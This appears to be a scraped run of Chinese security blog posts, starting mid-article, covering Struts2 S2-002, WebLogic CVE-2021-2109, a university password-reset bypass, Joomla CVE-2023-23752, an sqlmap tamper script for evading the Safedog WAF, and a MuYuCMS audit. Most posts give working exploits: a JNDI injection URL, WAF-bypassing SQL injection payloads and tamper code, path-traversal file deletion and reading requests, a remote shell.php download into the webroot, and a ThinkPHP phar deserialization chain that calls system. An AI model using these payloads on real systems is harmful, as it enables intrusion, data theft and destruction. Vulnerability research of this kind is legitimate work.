,并将标签中的属性设置到对应标签对象相应属性中。最后,在遇到 /> 结束标签的时候调用 doEndTag() 方法。 进入到了 index.jsp 跟进 this.component.start() 在 index.jsp 中 includeParams=all,往下看代码知道 88 行,跟进 mergeRequestParameters() 方法 在 includeParams=all 的情况下会调用 mergeRequestParameters() 将 Tomcat 处取来的参数,这里取到了我们输入的 payload,并且保存在 this.parameters 中 mergeRequestParameters() 方法运行完毕,往下是 includeGetParameters() 方法,也跟进去看一下;发现也是调用了 mergeRequestParameters(),同样是保存在了 this.parameters 中,不过这一次保存的是经过 url 编码的数据 继续往下,程序还调用了 includeExtraParameters() 方法,跟进;这里的意思是如果有额外的参数,会被保存进这里,然后再保存到 this.paramters 其实到这里漏洞出发点就来了,第一次调用 mergeRequestParameters() 方法的时候那一段参数是未经过 URL 编码的,从而产生了 XSS 在执行完毕 doStartTag() 方法之后,会去到 doEndTag() 方法,我们跟进 this.component.end(),this.component 是 URL 类,所以也就是调用了 URL.end() 往下走,第 146 行,判断目前调度器(Dispatcher)的实例是否支持这一 Struts2 组件的行为,并且判断这一个请求是否需要 Struts2 组件调用某 Action 来处理;如果不需要调用 Action 处理,则直接进入 buildUrl() 的代码逻辑,如果需要 Action 来处理,会先去选择/调用 Action,再进行后续操作。 其实也就是 Struts2 运行的基本逻辑 此处因为我们定义了 action=login,所以进入到了 else 的代码逻辑,跟进 this.determineActionURL() 方法 determineActionURL() 方法先定位到了对应的 action,再进行 buildUrl() 的操作,跟进 buildUrl() 再跟进 此时的 params 即将会被拿去拼接,造成触发 XSS 漏洞 具体拼接是在 115 行的 buildParametersString() 方法,跟进再跟进 至此,漏洞分析结束 漏洞修复 修改 pom.xml,将 Struts2 版本提升至 2.0.11(这是根据公告的,其实并没有真正解决漏洞) 经过对 2.0.11.1 的代码阅读,在 UrlHelper 类 buildUrl() 方法里,第 136 行增加了如下修复代码: // link是最终的生成的url        for(result = link.toString();        result.indexOf("<script>") > 0;        result = result.replaceAll("<script>", "script")) {       } 太鸡肋,基本算不上修复。。。 0x05 小结 因为是 XSS 漏洞,成因基本都是未进行 URL 编码或某种转码,所以我们可以去看处理参数的过程进行漏洞挖掘。 S2-002 还是比较简单的一个漏洞。
WebLogic JNDI 注入(CVE-2021-2109)
0x01 前言 学习一下 WebLogic JNDI 注入 RCE(CVE-2021-2109) 0x02 环境搭建 和之前 WebLogic 的环境搭建是一致的,本文不再赘述。 不过值得一提的是,我的 weblogic 版本是 10.3.6;需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依赖里面 0x03 漏洞分析与复现 漏洞影响版本与前提条件 Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。 拥有访问 /console/consolejndi.portal 页面的用户权限,或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析 漏洞原理 WebLogic 的 /console/consolejndi.portal 接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle 类,从而造成 RCE。 漏洞复现 payload 如下 http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)&&我本地开启了一个 JNDI 的 Evil Class 和 Server 用 payload 打成功 漏洞分析 根据 payload 分析,先从 consolejndi.portal 开始看起,.portal 文件就类似于一个 servlet,在 consolejndi.portal 中存在 JNDI Binding 操作的处理容器,如图 具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet 去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction 类中,发现存在一个 execute() 方法,疑似存在 jndi 注入的漏洞。 观察需要如何构造恶意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean); 得来,而 serverMBean 是通过 domainMBean.lookupServer(serverName); 得来,其中一系列关系我将会由下图说明 接着我们自上而下顺序看代码,先是强转了一个 JndiBindingHandle 类,这里面 getHandleContext() 的逻辑并不复杂,最终会调用 JndiBindingHandle 的构造函数。 如图,我们在 payload 当中的这一段被放进了构造函的 type 与 objectIdentifier 中,而 "ldapxxxx" 这一段会被放在 components 中,由分号分隔 JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer") 继续往下看,我们想要进入 JNDI 注入的那一段代码,需要满足两个条件,一个是 serverMBean != null,另一个是 c != null,我们进到 serverMBean 看一下代码逻辑 lookupServer 是 DommainMBean 接口的方法,我们去看它的实现类 实际上这里是动态代理调用的,会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke 下,其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代码逻辑在实现类当中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer 我们需要走到 do while 的逻辑里面,返回 var3,而不是返回 null 通过调试得到 var2 的值为 AdminServer,这里没有其他的值了,原因如图 所以此处要求我们输入的 var1 与 AdminServer 相同,回过头去看 var1 是什么呢,var1 其实是 serverName 发现 serverName 也是可控的 现在 serverBean != null 没问题,就要看 jndi lookup 的地址是否可控。 很明显,jndi lookup 的地址也是可控的 我们进到 JndiBindingHandle 类去看一下 set/getComponents() 的逻辑,先调用了 HandleImpl#getComponent 跟进 主要逻辑就是在讲,以 ; 分隔,如此一来,我们就可控 context 与 binding,可以进行 jndi 注入 最后捋一下整体条件 1、;号隔开 jndi 地址2、serverName 必须为 AdminServer 0x04 漏洞修复 根据 Y4er 师傅这里的说法是,对 Jndi 的黑名单进行了判断,如图 0x05 小结 不算难的一个漏洞,只是环境搭建当时踩了很多坑,欢迎师傅们与我交流踩坑问题,我会竭力帮助。
SRC挖掘之Access验证校验的漏洞挖掘
漏洞已修复,感谢某大佬的知识分享。 任意用户密码重置->可获取全校师生个人mingan信息 开局就是信息收集。 对于挖掘edu的信息收集 1.可尝试谷歌搜索语法,获取学号信息 2. 旁站的渗透获取 3. 学校的贴吧获取(大部分都是本校学生) 当然我就是闲,进了目标学校的贴吧,跟他们聊天,然后你懂的(不推荐这样去做) 类似于钓鱼吧 再获取到学号的信息,自然就是水到渠成。 由于权限太小,功能点太少,fuzz不到接口,j也没有mingan接口,越权就更不存在了。 放弃了,去看看找回密码吧。 先爆破一波账号是否存在(能不用别人账号就不用) 123456账号存在 找回密码这里随便输入3个必选项,然后提交。 尝试更改返回包,看看是不是只有前端校验。 果然跟我想的一样,回到输入账号处了。 那没办法了,咱还是得用关系,用好大哥的账号,然后再从他个人信息里面掏点东西过验证。 重置成功了,但发现一个不对劲的地方,仔细想想发现有机会可以绕过。 首先,Newpass参数是加密的重置密码,也就是123456。 Post发包就一个参数,还是密码。 通过排除法能判定 Access-Reset-Ticket是校验用户 一开始我是不信的,CAS校验应该是这样的 本来TGT是CAS为用户签发的登录票据,拥有了TGT,用户就可以证明自己在CAS成功登录过。 这些直接大缩水呢。 但又没登录 怎么获取的当前用户的Access-Reset-Ticket? 真相只有一个,看看接口哪里获取到的 原来是在输入要找回的用户,就会获取当前用户的Access-Reset-Ticket 6到了,开发是我大哥! 尝试修改 可行,修改管理员账号,然后起飞。 下机。 漏洞是已修复,厂商也修复了漏洞更新到了最新版本。
Joomla未授权访问漏洞(CVE-2023-23752)
漏洞简介      在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。 影响版本   4.0.0 <= Joomla <= 4.2.7 环境搭建   文件下载地址 https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip   利用 phpstudy 搭建漏洞环境   我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试      安装完成后   前台      后台    漏洞复现   构造路由 /api/index.php/v1/config/application?public=true   返回了数据库的相关信息       漏洞分析   经过调试分析发现是对 api 路径下的身份校验进行了绕过,默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}   所以就针对于 api 路径下的身份校验进行具体分析    api/index.php       api/includes/app.php       \Joomla\CMS\Application\CMSApplication::execute       \Joomla\CMS\Application\ApiApplication::doExecute      其中的 $this->route(); 对应了路由应用程序    \Joomla\CMS\Application\ApiApplication::route          $router 对应了 api 下所有的路由信息,之后调用 parseApiRoute 对路由进行处理    \Joomla\CMS\Router\ApiRouter::parseApiRoute         当 public 为false 时,是禁止外部访问的 GET /api/index.php/v1/config/application HTTP/1.1 Host: joomla.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie:XDEBUG_SESSION=PHPSTORM Connection: close      ‍   但是通过路径传入的值在之后可以覆盖替换原本的值    GET /api/index.php/v1/config/application?public=true HTTP/1.1 Host: joomla.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie:XDEBUG_SESSION=PHPSTORM Connection: close   ‍      ‍
教你编写SQLMap的Tamper脚本过狗
测试环境 最新版某狗 测试方法 安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆 一招鲜吃遍天下 注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%等 这里再解释一下内联注释,因为后面要用到: MySQL内联注释: /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行 但是如果!后面跟着MySQL版本号,那么就会出现两种情况 1. 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行 2. 当!后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。 数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553 !后面接小于50553的: 执行了select 1; !后面接大于等于50553的: 执行了 select ; 下面进入正题 bypass and and 1=1拦 但是把空格删掉就不拦了 所以,我们认为,and后面不能直接跟空格... 那么如果用其他形式表示空格呢? 前面说了,我们这次只使用注释混淆: burp,抓包设置 长度5335是被拦截的 长度为899的说明成功绕过 我们选择其中一个作为空格的替代者就好了,这里我们选择/*%* 即:->/*/*%**/ 同理 ,or是一样的: order by 测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样: union select union select使用之前的垃圾字符替换空格发现不行了: 但是先不急于换方法,再爆破一遍试试: 发现又有很多可以绕过的了。 所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/ 即:->/*/!%!/*/ 获得当前数据库 正常语句: ?id=-1 union select 1,database(),3 --+ 绕过: 即:()->(/*/!%!/*/) 获取数据库中的表 正常语句: ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 绕过: 经过测试发现拦截的是select + from + information_schema的组合 中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。 对information_schema进行混淆测试: 首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。 考虑是检测了select + from + /*! + information_schema的组合 加个换行试试 还是不行... 那既然都换行了,那我们再在换行前加一些垃圾字符: 如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是 /**/或#或--+ 但是经过测试只有 --+好用 有这么多可以绕过的,我们随便选择一个,比如/*%/ 这样,最终语句如下: ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+ 获取表字段 正常语句: ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ 绕过语句: ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+ 获取字段信息 ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users 成功。 编写tamper 当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护: 网上有很多相关脚本的介绍,我就不一一介绍了。 虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。 Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。 我们随便打开一个Tamper脚本看一下它的结构: #apostrophemask.py #!/usr/bin/env python """ Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ # 导入SQLMap中lib\core\enums中的PRIORITY优先级函数 from lib.core.enums import PRIORITY # 定义脚本优先级 __priority__ = PRIORITY.LOWEST # 对当前脚本的介绍 def dependencies():    pass ''' 对传进来的payload进行修改并返回 函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。 ''' def tamper(payload, **kwargs):    """   Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)   References:       * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128       * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/       * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850       * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps   >>> tamper("1 AND '1'='1")   '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'   """    return payload.replace('\'', "%EF%BC%87") if payload else payload 可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。 下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入: 实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好 #!/usr/bin/env python import re from lib.core.settings import UNICODE_ENCODING from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies():    pass def tamper(payload, **kwargs):    if payload:        payload = payload.replace(" ","/*/!%!/*/")        payload = payload.replace("()","(/*/!%!/*/)")        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)        payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)            return payload 测试: sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbssqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3
木鱼cms系统审计小结
MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。   ‍ 环境搭建 我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php5.6.9 ,同时利用 PhpStorm 来实现对项目的调试    漏洞复现分析 ‍ 任意文件删除 我们在网站的根目录下创建一个文件 test.txt 用来校验文件是否被删除 任意文件删除一 漏洞复现 登录后台后构造数据包 POST /admin.php/accessory/filesdel.html HTTP/1.1 Host: test.test Content-Length: 55 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://test.test Referer: http://test.test/admin.php/accessory/filelist.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM Connection: close filedelur=/upload/files/.gitignore/../../../../test.txt 文件被成功删除 漏洞分析 \app\admin\controller\Accessory::filesdel 通过参数 $filedelurl 拼接得到要删除文件的地址,利用 unlink 函数删除文件,中间没有做任何校验 任意文件删除二 漏洞复现 登录后台后构造数据包 POST /admin.php/accessory/picdel.html HTTP/1.1 Host: test.test Content-Length: 54 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://test.test Referer: http://test.test/admin.php/accessory/filelist.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM Connection: close picdelur=/upload/files/.gitignore/../../../../test.txt 漏洞分析 \app\admin\controller\Accessory::picdel 通过参数 $picdelur 拼接得到要删除图片的地址,利用 unlink 函数删除文件,中间没有做任何校验 任意文件删除三 漏洞复现 登录后台后构造数据包 GET /editor/index.php?a=delete_node&type=file&path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close 漏洞分析 \App\Controller\Controller::delete_node \App\Core\File::deleteFile \App\Controller\Controller::beforeFun 对传入的 path 判断了是否在合法的文件域中,但没有对传入的 path 没有进行跨目录的校验就删除了文件 任意文件删除四 漏洞复现 POST /admin.php/database/sqldel.html HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 19 name=../../test.txt 漏洞分析 \app\admin\controller\Database::sqldel 获取 post 传入的参数 name 利用 delFile 函数删除文件 任意文件删除五 漏洞复现 登录后台后构造数据包 POST /admin.php/update/rmdirr.html?dirname=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1 Host: test.test Content-Length: 0 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Origin: http://test.test Referer: http://test.test/admin.php/system/update.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341 Connection: close 漏洞分析 \app\admin\controller\Update::rmdirr 传入的参数 $dirname 经过简单的判断,然后调用 unlink 函数去删除 任意文件读取 漏洞复现 登录后构造数据包 GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close 成功读取文件信息 漏洞分析 \App\Controller\Controller::get_file 列目录 漏洞复现 登录后构造数据包 GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close 成功将根目录下的信息显露出来 漏洞分析 \App\Controller\Controller::dir_list \App\Core\Jstree::getDir \App\Controller\Controller::beforeFun 对传入的 dir_path判断了是否在合法的文件域中,但没有对传入的 dir_path没有进行跨目录的校验就打印出目录信息 任意代码执行 任意代码执行一 漏洞复现 登录后构造数据包,读取config 文件内容 GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close 此时需要获取的并不是文件内容,而是更改之后文件的key 复制文件校验码 替换到下面数据包中 GET /editor/index.php?a=save_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php&file_key=5e9c862ce52986e5437652d707c7c82f&file_content=<?php+phpinfo();+php?> HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close 访问文件在网站上对应的位置,发现代码已经被成功执行 也可以执行其他代码 漏洞分析 \App\Controller\Controller::save_file save_file 有保存文件的操作,但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息,然后再对文件进行修改 \App\Core\File::setFileContent 任意代码执行二 漏洞复现 登录后构造数据包 POST /admin.php/update/getFile.html?url=http://127.0.0.1:8000/shell.php&save_dir=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/ HTTP/1.1 Host: test.test Content-Length: 0 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Origin: http://test.test Referer: http://test.test/admin.php/system/update.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341;XDEBUG_SESSION=PHPSTORM Connection: close 指定远程 url 下载文件,下载的文件保存到指定位置 访问指定的文件目录,发现代码被成功执行 漏洞分析 \app\admin\controller\Update::getFile 通过 $url 指定获取远程文件的地址,$save_dir 指定保存文件的路径,并未对文件的内容和类型进行校验,所以就会产生代码执行漏洞 ‍ phar反序列化 漏洞复现 <?php namespace think{    abstract class Model{        protected $append;        private $data;        function __construct(){            $this->append = ["aaaa"=>["123456"]];            $this->data = ["aaaa"=>new Request()];       }   }    class Request   {        protected $param;        protected $hook;        protected $filter;        protected $config;        function __construct(){            $this->filter = "system";            $this->config = ["var_ajax"=>''];            $this->hook = ["visible"=>[$this,"isAjax"]];            $this->param = ["calc"];       }   } } namespace think\process\pipes{    use think\model\Pivot;    class Windows   {        private $files;        public function __construct()       {            $this->files=[new Pivot()];       }   } } namespace think\model{    use think\Model;    class Pivot extends Model   {   } } namespace{    use think\process\pipes\Windows;    @unlink('shell.jpg');    $phar = new Phar("shell.phar"); //    $phar->startBuffering();    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');    $object = new Windows();    //$object ->haha= 'eval(@$_POST[\'a\']);';    // $object ->haha= 'phpinfo();';    $phar->setMetadata($object);    $phar->addFromString("a", "a"); //添加要压缩的文件      $phar->stopBuffering();      echo (base64_encode(serialize(new Windows()))); } ?> 生成 phar 序列化数据包 修改后缀,启动 python 服务器 构造数据包下载远程的文件到本地 GET /public/static/admin/static/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:8000/shell.png HTTP/1.1 Host: test.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close 执行 phar 序列化 http://test.test/admin.php/update/rmdirr.html?dirname=phar://./public/upload/images/1676882763141961.png   ‍ 注意事项 在最开始,获取远程图片的时候,一直出现错误 提示 链接contentType不正确 通过在代码中查找,定位到问题位置 校验了 Content-Type 的值 经过不断的调试仍然发现不了问题出现在哪 但是发现通过 phpstudy 默认的 apache 服务是没问题的 通过抓包对比发现 一个是 Content-Type 另一个是 Content-type 我直接修改了 python 的源代码 将其中的小写 t 替换成了大写 T ‍ 漏洞分析 \app\admin\controller\Update::rmdirr 通过协议绕过了对文件名的检测然后触发了反序列漏洞 MuYuCMS-master/public/static/admin/static/ueditor/php/controller.php
KeePass敏感信息明文传输漏洞复现 (CVE-2023-24055)
